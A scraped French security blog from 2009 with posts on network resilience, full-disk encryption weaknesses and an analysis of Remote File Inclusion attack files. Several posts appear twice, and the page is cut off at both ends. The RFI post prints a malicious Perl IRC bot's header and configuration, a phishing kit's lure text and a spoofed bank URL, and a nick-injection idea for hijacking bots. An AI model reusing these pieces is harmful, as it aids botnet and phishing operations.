2/ La détection de l'attaque est donc bien plus intéressante. Quelles sont les méthodes qui ont permis de détecter des manipulations malicieuses? Quelles ont été les actions prises pour circonscrire l'attaquant? Comment revenir à un fonctionnement normal et sain par la suite?
Donc, Wait and See.
samedi 8 août 2009
Résilience
Le site twitter est de nouveau sous le feu de l'actualité.
Il a été victime d'un DDOS, interdisant de fait son accès. On voit fleurir des questions (naïves) de journalistes s'interrogeant sur les causes ayant rendues une attaque de ce type possible.
Ceci dit, cette attaque, tout comme plusieurs autres avant celles-ci me font interroger sur le phénomène de résilience des réseaux. Qu'est ce que la résilience, tout d'abord? Wiktionary m'indique plusieurs définitions dont celles-ci:
-Aptitude à s’adapter, à réussir à vivre et à se développer positivement en dépit de circonstances défavorables et de stress.
-propriété physique d'un matériau de retrouver sa forme après avoir été comprimé ou déformé ; élasticité.
La résilience informatique serait donc double. Tout d'abord la résistance de celui-ci face à tout type de sollicitations (légitimes ou malveillantes), et ensuite la possibilité qu'a celui-ci de retrouver son fonctionnement initial et optimal même après une phase de fonctionnement dégradé.
L'information possède une bonne résilience également tant qu'on la duplique.
Informatiquement, la duplication de l'information se fait à coût nul (j'approxime bien entendu) de ce fait la résilience de l'information au sens large est acquise (ce qui pose bien entendu d'autres problèmes concernant la dualité de protection de l'information. Soit on la duplique à l'infini et son accès sera toujours possible; soit on restreint de manière confidentielle son accès à un emplacement unique et cette information peut être perdue).
On peut de plus parler de résilience à différents niveaux:
-résilience du réseau
-résilience du service
-résilience d'infrastructure
Quelques exemples viennent immédiatement à l'esprit suite à cette définition. Un réseau IP possède une bonne résilience: en effet, il a été conçu à la base pour ce but. La disparition de plusieurs de ses noeuds ne doit pas empêcher la circulation de l'information. Les protocoles de routage adaptatifs ont été conçus dans ce but.
Le service DNS possède une bonne résilience. En effet, il est décentralisé (via l'utilisation d'Anycast, RFC3258) et permet de mettre en oeuvre des mécanismes de serveurs secondaires.
La résilience d'infrastructure va concerner tout ce qui est connexe (matériel comme logiciel), comme l'accès en énergie, les mécanismes de haute disponibilité (hard par le doublement des équipements et soft par les programmes permettant de basculer en cas de problèmes), et les mécanismes de sauvegardes de données.
Ces mécanismes de résilences sont interdépendants, et doivent chacun s'appuyer les uns sur les autres pour offrir une bonne résilience globale.
Pour ce message, je propose quelques réflexions sur certains réseaux dit résilients:
1/ Le P2P
Par P2P j'entends les réseaux de partage Peer-to-peer et les botnets basés sur une technologie de peer-to-peer. C'est le réseau résilient par excellence. Entièrement décentralisé, il peut renaître tant qu'un second hôte est présent. Il est très efficace pour partager de l'information. Toutefois, l'information en elle-même n'est pas résiliente. Une information peut partagée peut progressivement disparaître. De plus, le point crucial de ses réseaux concerne l'accès aux service DNS. En effet, la connaissance des voisins du réseau impose une première requête donnant quelques noeuds qui pourront par la suite donner les noeuds suivant, etc..
La recherche dans le domaine des botnets est à ce sujet intéressante. Les premiers botnets disposait d'un serveur de contrôle et de commande unique (par exemple un canal IRC). Ce dispositif offre une résilience très faible. Le C&C disparaît, le botnet avec. Les auteurs de botnets (comme les auteurs de softs P2P) ont donc migrés progressivement vers des solutions décentralisées.
Toutefois, ces réseaux ne sont malgré tout pas d'une résilience absolue. A ce sujet, l'analyse de certaines analyses sur des botnets précisent qu'en jouant sur les DNS il serait possible de prendre la main et de contrôler ces réseaux.
2/ NNTP et SMTP
Les services NNTP et SMTP possèdent également une bonne résilience intrinsèque. La résilience de NNTP s'appuye uniquement sur la duplication permanente et asynchrone des informations via un système distribué de serveur NNTP. SMTP fonctionne sur le principe asynchrone et sur le routage successif des informations. De plus SMTP peut tout à fait résister à un problème temporaire. Les mails sont conservés, pour être réémis plus tard.
Résilience d'infrastructures
-C'est un point qui me semble très intéressant et à creuser. En effet, la majorité des services sur internet repose des près ou de loin sur DNS. Est-il possible d'imaginer internet sans DNS?
-Résilience d'accès au réseau. Une ville s'est faite couper du réseau internet. Les conséquences en ont été graves.
Le DNS me paraît une bonne piste de réflexion. Nous avons là un service essentiel au bon fonctionnement de tous les réseaux. Par qui transite les requêtes et réponses DNS? Qui peut influer sur ces requêtes et réponses? Si on est attaquant ou utilisateur, quelles conséquences?
Une autre piste concerne BGP et les mécanismes de routage entre les AS. En effet, si plusieurs AS se mettent d'accord, il est possible de faire disparaître du paysage d'internet un de ses acteurs. Voir les liens expliquant cela sur la page wikipedia de mcColo. La question qui suit est double: Comment éviter de se faire déconnecter d'internet? Comment déconnecter une partie d'internet du reste d'internet?
Il a été victime d'un DDOS, interdisant de fait son accès. On voit fleurir des questions (naïves) de journalistes s'interrogeant sur les causes ayant rendues une attaque de ce type possible.
Ceci dit, cette attaque, tout comme plusieurs autres avant celles-ci me font interroger sur le phénomène de résilience des réseaux. Qu'est ce que la résilience, tout d'abord? Wiktionary m'indique plusieurs définitions dont celles-ci:
-Aptitude à s’adapter, à réussir à vivre et à se développer positivement en dépit de circonstances défavorables et de stress.
-propriété physique d'un matériau de retrouver sa forme après avoir été comprimé ou déformé ; élasticité.
La résilience informatique serait donc double. Tout d'abord la résistance de celui-ci face à tout type de sollicitations (légitimes ou malveillantes), et ensuite la possibilité qu'a celui-ci de retrouver son fonctionnement initial et optimal même après une phase de fonctionnement dégradé.
L'information possède une bonne résilience également tant qu'on la duplique.
Informatiquement, la duplication de l'information se fait à coût nul (j'approxime bien entendu) de ce fait la résilience de l'information au sens large est acquise (ce qui pose bien entendu d'autres problèmes concernant la dualité de protection de l'information. Soit on la duplique à l'infini et son accès sera toujours possible; soit on restreint de manière confidentielle son accès à un emplacement unique et cette information peut être perdue).
On peut de plus parler de résilience à différents niveaux:
-résilience du réseau
-résilience du service
-résilience d'infrastructure
Quelques exemples viennent immédiatement à l'esprit suite à cette définition. Un réseau IP possède une bonne résilience: en effet, il a été conçu à la base pour ce but. La disparition de plusieurs de ses noeuds ne doit pas empêcher la circulation de l'information. Les protocoles de routage adaptatifs ont été conçus dans ce but.
Le service DNS possède une bonne résilience. En effet, il est décentralisé (via l'utilisation d'Anycast, RFC3258) et permet de mettre en oeuvre des mécanismes de serveurs secondaires.
La résilience d'infrastructure va concerner tout ce qui est connexe (matériel comme logiciel), comme l'accès en énergie, les mécanismes de haute disponibilité (hard par le doublement des équipements et soft par les programmes permettant de basculer en cas de problèmes), et les mécanismes de sauvegardes de données.
Ces mécanismes de résilences sont interdépendants, et doivent chacun s'appuyer les uns sur les autres pour offrir une bonne résilience globale.
Pour ce message, je propose quelques réflexions sur certains réseaux dit résilients:
1/ Le P2P
Par P2P j'entends les réseaux de partage Peer-to-peer et les botnets basés sur une technologie de peer-to-peer. C'est le réseau résilient par excellence. Entièrement décentralisé, il peut renaître tant qu'un second hôte est présent. Il est très efficace pour partager de l'information. Toutefois, l'information en elle-même n'est pas résiliente. Une information peut partagée peut progressivement disparaître. De plus, le point crucial de ses réseaux concerne l'accès aux service DNS. En effet, la connaissance des voisins du réseau impose une première requête donnant quelques noeuds qui pourront par la suite donner les noeuds suivant, etc..
La recherche dans le domaine des botnets est à ce sujet intéressante. Les premiers botnets disposait d'un serveur de contrôle et de commande unique (par exemple un canal IRC). Ce dispositif offre une résilience très faible. Le C&C disparaît, le botnet avec. Les auteurs de botnets (comme les auteurs de softs P2P) ont donc migrés progressivement vers des solutions décentralisées.
Toutefois, ces réseaux ne sont malgré tout pas d'une résilience absolue. A ce sujet, l'analyse de certaines analyses sur des botnets précisent qu'en jouant sur les DNS il serait possible de prendre la main et de contrôler ces réseaux.
2/ NNTP et SMTP
Les services NNTP et SMTP possèdent également une bonne résilience intrinsèque. La résilience de NNTP s'appuye uniquement sur la duplication permanente et asynchrone des informations via un système distribué de serveur NNTP. SMTP fonctionne sur le principe asynchrone et sur le routage successif des informations. De plus SMTP peut tout à fait résister à un problème temporaire. Les mails sont conservés, pour être réémis plus tard.
Résilience d'infrastructures
-C'est un point qui me semble très intéressant et à creuser. En effet, la majorité des services sur internet repose des près ou de loin sur DNS. Est-il possible d'imaginer internet sans DNS?
-Résilience d'accès au réseau. Une ville s'est faite couper du réseau internet. Les conséquences en ont été graves.
Le DNS me paraît une bonne piste de réflexion. Nous avons là un service essentiel au bon fonctionnement de tous les réseaux. Par qui transite les requêtes et réponses DNS? Qui peut influer sur ces requêtes et réponses? Si on est attaquant ou utilisateur, quelles conséquences?
Une autre piste concerne BGP et les mécanismes de routage entre les AS. En effet, si plusieurs AS se mettent d'accord, il est possible de faire disparaître du paysage d'internet un de ses acteurs. Voir les liens expliquant cela sur la page wikipedia de mcColo. La question qui suit est double: Comment éviter de se faire déconnecter d'internet? Comment déconnecter une partie d'internet du reste d'internet?
dimanche 2 août 2009
Chiffrement de disques.
Le chiffrement de disques durs, appelé aussi le chiffrement de surface, est une mesure intéressante pour éviter la fuite d'information en cas de perte ou vol de matériels.
J'ai à ce sujet écrit un article dans linux Magazine il y a un an et demi, présentant diverses méthodes pour mettre en oeuvre le chiffrement de partitions sous linux en janvier 2008.
L'article devrait être disponible un jour ou l'autre sur http://www.unixgarden.com . L'article fournissait une méthode offrant de la plausible deniability et une méthode graphique permettant de visualiser le chiffrement (ces deux points ne sont pas considérés dans l'article du blog présent).
Les conclusions de l'article sont les suivantes:
-le chiffrement ne protège les données que lorsque la machine est éteinte
-il reste toujours un angle d'attaque sur la machine chiffrée, correspondant à la partition en clair supportant le noyau et son initrd.
Appliquons ces deux points à l'actualité récente, MISC 45 et la blackhat 2009.
1/ MISC 45
Tout d'abord, j'ai lu dans MISC 45 l'article sur dokuwiki. L'article est intéressant, agréable à lire et j'aime bien cette idée de donner des détails pratiques sur la mise en oeuvre d'un outil.
Ceci dit l'auteur conclut en indiquant (entre autre bons conseils) qu'il est conseillé de chiffrer le disque dur du serveur et du client pour des raisons de confidentialité.
Cette raison me paraît totalement inutile. Pour le serveur tout d'abord. Un serveur, ça sert des pages, donc c'est allumé. Tant que la machine est allumée, le disque est ouvert, la clé de chiffrement présente, l'accès aux fichiers possibles. Donc pour limiter la fuite d'informations de ce serveur, le chiffrement est tout simplement superfétatoire.
Pour la même raison (la confidentialité), l'auteur conseille de chiffrer le disque de la machine cliente qui va éditer un fichier wiki afin de l'uploader sur le serveur dokuwiki; la raison en est simple, en cours d'édition, le contenu du fichier est contenu dans un javascript enregistré localement. Et pour la même raison j'indique que cela est tout autant inutile. Un attaquant sur la machine -allumée bien sûr- aura accès à ce fichier, chiffrement de disque ou pas.
Le chiffrement de disque est utile, mais attention aux raisons qui vous poussent à le mettre en oeuvre...
2/ Fuite de la clé de chiffrement
Une conférence à la blackhat 2009 fournit une méthode pour lire la clé TrueCrypt. Le principe en est simple. Il suffit de s'intercaler entre le disque et le système pour lire la clé alors qu'elle lui est transmise. Je salue l'exploit (l'auteur a ajouté pas mal de petites options intéressantes, citée dans l'article). Ceci dit, je note que l'attaque reste locale puisque elle repose sur l'infection du MBR.
Et cette attaque peut être exactement portée sous linux (l'essence de cette attaque, pas le code du bootkit). Le déchiffrement du disque sous linux est réalisé dans l'initrd (ou initramfs) lors du boot. Et cet initrd/ramfs est situé sur une partition non chiffrée.
Ainsi, un attaquant qui aurait en sa possession un portable chiffré pourrait sans aucun problème modifier cet initrd afin qu'il lise la clé fournie par l'utilisateur, et la dupliquer quelque part sur le disque ou l'envoyer sur le réseau une fois la machine bootée. Cette attaque est tellement simple à mettre en oeuvre que son évocation est un PoC à lui seul.
Pour éviter ceci, dans mon article linux magazine, je préconisais deux méthodes:
-Camoufler le noyau et l'initrd dans les premiers Mo de la partition swap. Après le boot, le swap n'utilise pas ces quelques Mo. Le tout début de la partition swap est à son tour chiffré, empêchant ainsi un attaquant d'analyser les partitions en clair. Méthode relativement lourde à mettre en oeuvre, et qui ne résiste pas à une analyse poussée.
-Mettre le noyau et l'initrd sur une clé USB, qui peut également contenir des clés de chiffrements des disques [2]. Sans cette clé, la machine est inerte. Un attaquant pourra infecter le MBR sans risques pour la confidentialité, puisque ce sera la clé USB qui sera démarrée au boot. Il ne reste qu'a sensibiliser l'utilisateur à cette clé USB pour qu'il ne la laisse pas trainer avec le portable.
La perte de la clé USB en elle même n'est pas forcément grave, il suffit de supprimer la clé de chiffrement du disque contenue dans cette clé USB, puis d'en fournir une nouvelle à l'utilisateur.
Bien entendu, cette attaque peut être portée sous n'importe quel type de chiffrement logiciel. Au boot, windows aura forcément besoin d'un bout de code en clair quelquepart. Et ce code pourra donc être modifié par autre chose. La signature de ce bout de code pourrait être une solution, mais la complexité de mise en oeuvre augmente d'autant.
CONCLUSION/
Le chiffrement de surface doit rester confiné à son utilisation première: protéger les disques éteints (donc plutôt dédiée aux périphériques mobiles ayant des phases d'extinction. Un ordinateur portable semble une bonne idée, un téléphone portable moins, étant la majeure partie du temps allumé). Si elle est étendue à d'autres services (ex chiffrement de disque d'un serveur) la raison doit en être clairement identifiée sous raison de perdre du temps, de la puissance CPU et une augmentation de la complexité lors de la résolution de problèmes (ex: clusters défectueux). Pour finir sur une note humoristique, je conseille la lecture de ce post d'XKCD concernant le chiffrement de disques :)
[1]Pour préciser, j'indiquerai que la phrase "le chiffrement de surface ne protège que les machines éteintes" doit être légerement modifiée. En effet des chercheurs ont mis en oeuvre une attaque appelée cold-boot attack. La RAM conservant un certain temps des informations (dont la clé de chiffrement du disque) après extinction de la machine, il faut modifier la règle en: "Le chiffrement de surface ne protège que les machines éteintes depuis quelques minutes". Ceci dit, tout les limitations concernant le chiffrement de surface restent identiques.
[2]Ce qui a le double avantage de faciliter la vie de l'utilisateur: il veut allumer sa machine, il met sa clé USB, elle démarre. Il n'a qu'a ranger la clé USB de manière sécurisée par la suite. Pas de mot de passe compliqué qui finira écrit sur un post-it, pas de complications et c'est simple à comprendre pour n'importe quel utilisateur. Cerise sur le gâteau la clé peut être perdue sans aucun risque de fuite d'information...
J'ai à ce sujet écrit un article dans linux Magazine il y a un an et demi, présentant diverses méthodes pour mettre en oeuvre le chiffrement de partitions sous linux en janvier 2008.
L'article devrait être disponible un jour ou l'autre sur http://www.unixgarden.com . L'article fournissait une méthode offrant de la plausible deniability et une méthode graphique permettant de visualiser le chiffrement (ces deux points ne sont pas considérés dans l'article du blog présent).
Les conclusions de l'article sont les suivantes:
-le chiffrement ne protège les données que lorsque la machine est éteinte
-il reste toujours un angle d'attaque sur la machine chiffrée, correspondant à la partition en clair supportant le noyau et son initrd.
Appliquons ces deux points à l'actualité récente, MISC 45 et la blackhat 2009.
1/ MISC 45
Tout d'abord, j'ai lu dans MISC 45 l'article sur dokuwiki. L'article est intéressant, agréable à lire et j'aime bien cette idée de donner des détails pratiques sur la mise en oeuvre d'un outil.
Ceci dit l'auteur conclut en indiquant (entre autre bons conseils) qu'il est conseillé de chiffrer le disque dur du serveur et du client pour des raisons de confidentialité.
Cette raison me paraît totalement inutile. Pour le serveur tout d'abord. Un serveur, ça sert des pages, donc c'est allumé. Tant que la machine est allumée, le disque est ouvert, la clé de chiffrement présente, l'accès aux fichiers possibles. Donc pour limiter la fuite d'informations de ce serveur, le chiffrement est tout simplement superfétatoire.
Pour la même raison (la confidentialité), l'auteur conseille de chiffrer le disque de la machine cliente qui va éditer un fichier wiki afin de l'uploader sur le serveur dokuwiki; la raison en est simple, en cours d'édition, le contenu du fichier est contenu dans un javascript enregistré localement. Et pour la même raison j'indique que cela est tout autant inutile. Un attaquant sur la machine -allumée bien sûr- aura accès à ce fichier, chiffrement de disque ou pas.
Le chiffrement de disque est utile, mais attention aux raisons qui vous poussent à le mettre en oeuvre...
2/ Fuite de la clé de chiffrement
Une conférence à la blackhat 2009 fournit une méthode pour lire la clé TrueCrypt. Le principe en est simple. Il suffit de s'intercaler entre le disque et le système pour lire la clé alors qu'elle lui est transmise. Je salue l'exploit (l'auteur a ajouté pas mal de petites options intéressantes, citée dans l'article). Ceci dit, je note que l'attaque reste locale puisque elle repose sur l'infection du MBR.
Et cette attaque peut être exactement portée sous linux (l'essence de cette attaque, pas le code du bootkit). Le déchiffrement du disque sous linux est réalisé dans l'initrd (ou initramfs) lors du boot. Et cet initrd/ramfs est situé sur une partition non chiffrée.
Ainsi, un attaquant qui aurait en sa possession un portable chiffré pourrait sans aucun problème modifier cet initrd afin qu'il lise la clé fournie par l'utilisateur, et la dupliquer quelque part sur le disque ou l'envoyer sur le réseau une fois la machine bootée. Cette attaque est tellement simple à mettre en oeuvre que son évocation est un PoC à lui seul.
Pour éviter ceci, dans mon article linux magazine, je préconisais deux méthodes:
-Camoufler le noyau et l'initrd dans les premiers Mo de la partition swap. Après le boot, le swap n'utilise pas ces quelques Mo. Le tout début de la partition swap est à son tour chiffré, empêchant ainsi un attaquant d'analyser les partitions en clair. Méthode relativement lourde à mettre en oeuvre, et qui ne résiste pas à une analyse poussée.
-Mettre le noyau et l'initrd sur une clé USB, qui peut également contenir des clés de chiffrements des disques [2]. Sans cette clé, la machine est inerte. Un attaquant pourra infecter le MBR sans risques pour la confidentialité, puisque ce sera la clé USB qui sera démarrée au boot. Il ne reste qu'a sensibiliser l'utilisateur à cette clé USB pour qu'il ne la laisse pas trainer avec le portable.
La perte de la clé USB en elle même n'est pas forcément grave, il suffit de supprimer la clé de chiffrement du disque contenue dans cette clé USB, puis d'en fournir une nouvelle à l'utilisateur.
Bien entendu, cette attaque peut être portée sous n'importe quel type de chiffrement logiciel. Au boot, windows aura forcément besoin d'un bout de code en clair quelquepart. Et ce code pourra donc être modifié par autre chose. La signature de ce bout de code pourrait être une solution, mais la complexité de mise en oeuvre augmente d'autant.
CONCLUSION/
Le chiffrement de surface doit rester confiné à son utilisation première: protéger les disques éteints (donc plutôt dédiée aux périphériques mobiles ayant des phases d'extinction. Un ordinateur portable semble une bonne idée, un téléphone portable moins, étant la majeure partie du temps allumé). Si elle est étendue à d'autres services (ex chiffrement de disque d'un serveur) la raison doit en être clairement identifiée sous raison de perdre du temps, de la puissance CPU et une augmentation de la complexité lors de la résolution de problèmes (ex: clusters défectueux). Pour finir sur une note humoristique, je conseille la lecture de ce post d'XKCD concernant le chiffrement de disques :)
[1]Pour préciser, j'indiquerai que la phrase "le chiffrement de surface ne protège que les machines éteintes" doit être légerement modifiée. En effet des chercheurs ont mis en oeuvre une attaque appelée cold-boot attack. La RAM conservant un certain temps des informations (dont la clé de chiffrement du disque) après extinction de la machine, il faut modifier la règle en: "Le chiffrement de surface ne protège que les machines éteintes depuis quelques minutes". Ceci dit, tout les limitations concernant le chiffrement de surface restent identiques.
[2]Ce qui a le double avantage de faciliter la vie de l'utilisateur: il veut allumer sa machine, il met sa clé USB, elle démarre. Il n'a qu'a ranger la clé USB de manière sécurisée par la suite. Pas de mot de passe compliqué qui finira écrit sur un post-it, pas de complications et c'est simple à comprendre pour n'importe quel utilisateur. Cerise sur le gâteau la clé peut être perdue sans aucun risque de fuite d'information...
mardi 28 juillet 2009
Remote File Inclusion - Part II
Cette seconde partie parle des fichiers utilisés par les pirates tentant d'effectuer des Remote File Inclusion, de leur utilisation que l'on peut en faire et de ce qu'on peut en déduire quand aux vélléités des pirates.
Majoritairement, les fichiers peuvent être rangés en trois familles, comme vu dans la Part I.
Intéressons nous aux fichiers ne faisant pas partie de ces familles. Par la suite, j'appelerai fichier RFI un fichier utilisé par les pirates.
1/Obfuscation
Tout d'abord, certains pirates utilisent de l'obfuscation. Le principe en est simple, il suffit de coder en base64 un document, puis d'utiliser la commande eval(base64_decode ...).
Certains pirates préferent encoder un base64 un fichier gzippé qui sera donc évalué. Je ne comprends pas forcément cette manière de faire, puisqu'il ne s'agit nullement de pouvoir cacher ou chiffrer de l'information, mais seulement de la dissimuler.
Je suis tombé sur certains fichiers qui pouvaient être encodés jusqu'à 8 fois d'affilée en mélangeant du base64 et/ou du gzip à chaque tour.
Mis à part perturber des néophytes complets, la méthode n'a pas vraiment d'interêt, mais elle reste toutefois largement utilisée. Le nombre de messages sur des forums de néophytes demandant comment lire ces lignes est éclairant à ce principe.
Les fichiers obfusqués de cette manière sont le plus souvent des fichiers de découverte d'environnements.
2/Ajout de commandes obfusquées
Souvent ces fichiers RFI contiennent uniquement une partie obfusquée. Son déchiffrement montre souvent que ce contenu est une adresse email contenant dans son corps l'URL appelante, l'IP du serveur, etc.. Tout d'abord, on peut penser qu'il s'agit d'une méthode pratique pour récolter les serveurs vulnérables suite à scan.
Toutefois, je pense plutôt qu'il s'agit de pirates qui se piratent entre eux. Une fois un fichier RFI trouvé, il devient simple d'ajouter son adresse mail et d'attendre que le premier pirate utilise ce fichier. Je penche dans cette direction pour deux raisons: Seule cette partie est obfusquée, et souvent elle est placée dans des endroits qui se veulent discret, comme par exemple après l'ajout d'une cinquantaine de lignes vides en fin du fichier RFI. L'ouverture de ce fichier dans un éditeur de texte n'affiche pas ce morceau de code ajouté, se trouvant beaucoup plus bas. Ce n'est pas très bien caché, mais c'est au même niveau que de cacher des infos à l'aide de la base64.
3/ Fichiers bots
Les fichiers bots contiennent souvent le nom d'un canal IRC sur lequel ils se connectent. Pour information, voici le genre d'en-tête contenu dans ces fichiers:
###############################################
# [!] McN RFI Botz Modified by cuex [!] #
###############################################
');
######################################################
## Usage: ##
## perl feelscanz.pl<chan w/o #> <server> <port>##
## Notes: ##
## + All Parameters are optional ##
## ##
## Features: ##
## + RFI Scanner ##
## + RFI Scan & Exploit (Exploit per engine) ##
## + Joomla RFI Scan & Exploit ##
## + Milw0rm Search ##
## + Google bypass (Using PHP) ##
## + Message Spy & Save ##
## + Auto Spreading ##
######################################################
On note que le canal et le serveur sont optionnels et peuvent être fournis sur la ligne de commande. Toutefois, on lit généralement:
##[ KONFIGURASI IRC ]##
my @servers = ("irc.openjoke.org"); #IRC Servers (Separated by coma)
my %bot = (
nick => "xxx[".int(rand(100))."]",
ident => "mcn".int(rand(100)),
chan => ["#megascan"], #Channels to join (Separated by coma)
server => $servers[rand(scalar(@servers))],
port => "6667"
);
Ce qui permet de savoir sur quel serveur la machine doit se connecter, quel sera son nick, etc. On trouve certaines configurations possédant des mots de passe, indiqués eux-aussi dans le fichier de conf.
L'accès à ces canaux est donc possible.
Et la connexion sur ces canaux est en fin de compte peu sources de renseignements.
Grosso modo, ces incursions sont de trois types:
-Arrivée sur un canal vide, sans absolument aucune personne, ni admin.
-Arrivée sur un canal et éjection quasi immédiate. L'admin lance une commande pour vérifier qu'il s'agit bien d'un bot (il est censé répondre aux commandes après tout). En cas de non réponse, éjection. Ce qui donne une impression de suivi de la part du botmaster de son réseau. Curieusement, ces canaux sont vides.
-Arrivée sur un canal parmi les autres bots et les admins. Le suivi des conversations des admins sur ce canal ou sur les autres canaux dont ils font partie ne fournit finalement que peu d'informations. Généralement, ils ne parlent pas anglais et les seuls URL qu'ils s'échangent sont des URL menant vers des films X (rapidshare, etc..). J'ai pu rester plusieurs heures sur différents canaux sans aucune action de la part du botmaster.
4/ Serveurs visés
La liste des fichiers visés par ces pirates est elle aussi relativement décevante. Au vu du code de ces RFI scanners, ce n'est pas étonnant, mais ils arrosent vraiment large puisque généralement tous les liens d'une page web sont testés. Il ne testent même pas si le fichier est un fichier php, ou s'il correspond réellement à un site vulnérable.
Les fichiers php visés ainsi que les variables correspondent à ce qui se trouve sur milw0rm (ce qui est loin d'être étonnant).
5/ Autres fichiers dignes d'interêt
J'ai trouvé également au cours de ces recherches un kit de phishing préparé. Il concernait la "Commonwealth Bank of Australia 2009", et comportait les fichiers suivants:
a.php, ago.php, complete.php, index.php, index2.php, mastercard.php, wps.html.
Le wps.html contenait le message de phishing classique:
"Dear Customer, With Maestro Card Number 560279XXXXXXXXX or MasterCard. You have been chosen by the Online Department to take part in our quick and easy survey" etc...
Avec un lien visible vers www3.netbank.commbank.com.au mais qui pointe réellement vers www.netbank.commbank-online.com/images/netbank/survey.html ...
Rien de bien neuf dans le phishing. Une recherche google montre que la banque australienne a été victime d'un phishing en mai 2009. Mon fichier récolté date de juin, je ne sais pas si c'est le même.
6/Et pour la suite?
En attendant un Remote File Inclusion - Part III, quelles sont les pistes à creuser?
-Ajouter à son tour son adresse mail dans les fichiers RFI afin de vérifier leur utilisation. Ceci est élégant, sans risque, mais n'est pas pleinement fonctionnel. Je pense que des configurations php peuvent être vulnérable alors que la configuration empêche l'envoi de mail.
-Réécrire un bot 'safe' qui n'effectue aucune action offensive, mais qui répond aux questions de statut. Ainsi, il est possible d'entrer sur un canal, et observer les commandes données par le botmaster. A ce sujet, et pour avoir vu le résultat sur les canaux dont je me faisais kicker, je pense que le recrutement des bots se fait en deux temps: Scan intensif, arrivée sur le canal. Selon l'état du bot, il doit être redirigé vers un canal secondaire. Ce canal secondaire pourrait être plus instructif que le premier.
-Trouver la primo-infection. Le RFI est basé sur un serveur qui contient un fichier offensif. Une fois un serveur vulnérable trouvé, il sera possible de lui faire héberger des fichiers RFI pour continuer l'infection. Mais quel a été le premier fichier? Je pense que l'état des serveurs hébérgeant ces fichiers RFI serait intéressante. Toutefois, certains de ces RFI doivent être directement hébérgés par le serveur appartenant au pirate.
-Télécharger des fichiers de logs des serveurs webs pour connaître la fréquence à laquelle ces fichiers sont appelés.
-Les bots connectés sur le chan IRC n'obéissent qu'aux ordres du botmaster. Je me demande à quel point il serait possible de faire une injection perl pour qu'il obéisse à un autre botmaster; genre utiliser comme nick: admin') #
-Envoyer un mail à une des adresses et se faire passer pour une machine vulnérable afin de voir la réaction de l'attaquant.
Bien entendu, ces options deviennent limites du point de vue éthique et posent des questions quant à leur mise en oeuvre. Pour l'instant, je n'ai pas mis en place ces otpions.
CONCLUSION/
Après m'être documenté sur les botnets, et plus particulièrement sur les bots perl, PHP et les RFI, je partage les conclusions de ces auteurs. Conclusions partagées par pas mal d'auteurs traitant de honeypots d'ailleurs.
Analyser ces botnets reste très intéressant mais les conclusions restent les mêmes: La majorité de ces fichiers que j'ai pu récupérer grâce à mon outil semblent être utilisés par du kiddie. Ceci est dû à la fois au type de faille employée (testable à grande échelle, scripts fournis prêts à l'emploi) mais peut-être aussi à leur manière de faire. Moins ils sont bons, plus ils arrosent large et plus j'ai de chance de les voir.
Majoritairement, les fichiers peuvent être rangés en trois familles, comme vu dans la Part I.
Intéressons nous aux fichiers ne faisant pas partie de ces familles. Par la suite, j'appelerai fichier RFI un fichier utilisé par les pirates.
1/Obfuscation
Tout d'abord, certains pirates utilisent de l'obfuscation. Le principe en est simple, il suffit de coder en base64 un document, puis d'utiliser la commande eval(base64_decode ...).
Certains pirates préferent encoder un base64 un fichier gzippé qui sera donc évalué. Je ne comprends pas forcément cette manière de faire, puisqu'il ne s'agit nullement de pouvoir cacher ou chiffrer de l'information, mais seulement de la dissimuler.
Je suis tombé sur certains fichiers qui pouvaient être encodés jusqu'à 8 fois d'affilée en mélangeant du base64 et/ou du gzip à chaque tour.
Mis à part perturber des néophytes complets, la méthode n'a pas vraiment d'interêt, mais elle reste toutefois largement utilisée. Le nombre de messages sur des forums de néophytes demandant comment lire ces lignes est éclairant à ce principe.
Les fichiers obfusqués de cette manière sont le plus souvent des fichiers de découverte d'environnements.
2/Ajout de commandes obfusquées
Souvent ces fichiers RFI contiennent uniquement une partie obfusquée. Son déchiffrement montre souvent que ce contenu est une adresse email contenant dans son corps l'URL appelante, l'IP du serveur, etc.. Tout d'abord, on peut penser qu'il s'agit d'une méthode pratique pour récolter les serveurs vulnérables suite à scan.
Toutefois, je pense plutôt qu'il s'agit de pirates qui se piratent entre eux. Une fois un fichier RFI trouvé, il devient simple d'ajouter son adresse mail et d'attendre que le premier pirate utilise ce fichier. Je penche dans cette direction pour deux raisons: Seule cette partie est obfusquée, et souvent elle est placée dans des endroits qui se veulent discret, comme par exemple après l'ajout d'une cinquantaine de lignes vides en fin du fichier RFI. L'ouverture de ce fichier dans un éditeur de texte n'affiche pas ce morceau de code ajouté, se trouvant beaucoup plus bas. Ce n'est pas très bien caché, mais c'est au même niveau que de cacher des infos à l'aide de la base64.
3/ Fichiers bots
Les fichiers bots contiennent souvent le nom d'un canal IRC sur lequel ils se connectent. Pour information, voici le genre d'en-tête contenu dans ces fichiers:
###############################################
# [!] McN RFI Botz Modified by cuex [!] #
###############################################
');
######################################################
## Usage: ##
## perl feelscanz.pl
## Notes: ##
## + All Parameters are optional ##
## ##
## Features: ##
## + RFI Scanner ##
## + RFI Scan & Exploit (Exploit per engine) ##
## + Joomla RFI Scan & Exploit ##
## + Milw0rm Search ##
## + Google bypass (Using PHP) ##
## + Message Spy & Save ##
## + Auto Spreading ##
######################################################
On note que le canal et le serveur sont optionnels et peuvent être fournis sur la ligne de commande. Toutefois, on lit généralement:
##[ KONFIGURASI IRC ]##
my @servers = ("irc.openjoke.org"); #IRC Servers (Separated by coma)
my %bot = (
nick => "xxx[".int(rand(100))."]",
ident => "mcn".int(rand(100)),
chan => ["#megascan"], #Channels to join (Separated by coma)
server => $servers[rand(scalar(@servers))],
port => "6667"
);
Ce qui permet de savoir sur quel serveur la machine doit se connecter, quel sera son nick, etc. On trouve certaines configurations possédant des mots de passe, indiqués eux-aussi dans le fichier de conf.
L'accès à ces canaux est donc possible.
Et la connexion sur ces canaux est en fin de compte peu sources de renseignements.
Grosso modo, ces incursions sont de trois types:
-Arrivée sur un canal vide, sans absolument aucune personne, ni admin.
-Arrivée sur un canal et éjection quasi immédiate. L'admin lance une commande pour vérifier qu'il s'agit bien d'un bot (il est censé répondre aux commandes après tout). En cas de non réponse, éjection. Ce qui donne une impression de suivi de la part du botmaster de son réseau. Curieusement, ces canaux sont vides.
-Arrivée sur un canal parmi les autres bots et les admins. Le suivi des conversations des admins sur ce canal ou sur les autres canaux dont ils font partie ne fournit finalement que peu d'informations. Généralement, ils ne parlent pas anglais et les seuls URL qu'ils s'échangent sont des URL menant vers des films X (rapidshare, etc..). J'ai pu rester plusieurs heures sur différents canaux sans aucune action de la part du botmaster.
4/ Serveurs visés
